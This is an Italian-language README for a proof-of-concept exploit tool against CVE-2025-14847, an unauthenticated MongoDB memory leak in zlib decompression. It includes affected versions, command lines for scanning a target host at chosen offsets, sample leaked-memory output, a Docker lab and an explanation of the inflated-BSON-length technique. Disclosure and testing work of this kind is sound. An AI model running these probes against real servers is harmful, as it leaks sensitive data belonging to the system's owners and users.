
CVE-2025-14847 - Exploit di perdita di memoria non autenticata di MongoDB
Un exploit proof-of-concept per la vulnerabilità di decompressione zlib di MongoDB che consente a aggressori non autenticati di perdere memoria sensibile del server.
Un difetto nella decompressione dei messaggi zlib di MongoDB restituisce la dimensione del buffer allocato invece della lunghezza effettiva dei dati decompressi. Ciò consente agli aggressori di leggere memoria non inizializzata tramite:
uncompressedSize gonfiata| Versione | Vulnerabile | Corretta |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
Un file Docker Compose è incluso per avviare un'istanza MongoDB vulnerabile:
docker-compose up -d
python3 mongobleed.py
L'exploit crea documenti BSON con campi di lunghezza gonfiati. Quando il server analizza questi documenti, legge i nomi dei campi dalla memoria non inizializzata fino a incontrare un byte nullo. Ogni sondaggio a un offset diverso può perdere diverse regioni di memoria.
I dati persi possono includere:
/proc (meminfo, statistiche di rete)Joe Desimone - x.com/dez_
Questo strumento è solo per test di sicurezza autorizzati. L'accesso non autorizzato ai sistemi informatici è illegale.
| Opzione | Predefinito | Descrizione |
|---|
--host | localhost | Host MongoDB di destinazione |
--port | 27017 | Porta MongoDB di destinazione |
--min-offset | 20 | Lunghezza minima del documento da sondare |
--max-offset | 8192 | Lunghezza massima del documento da sondare |
--output | leaked.bin | File di output per i dati persi |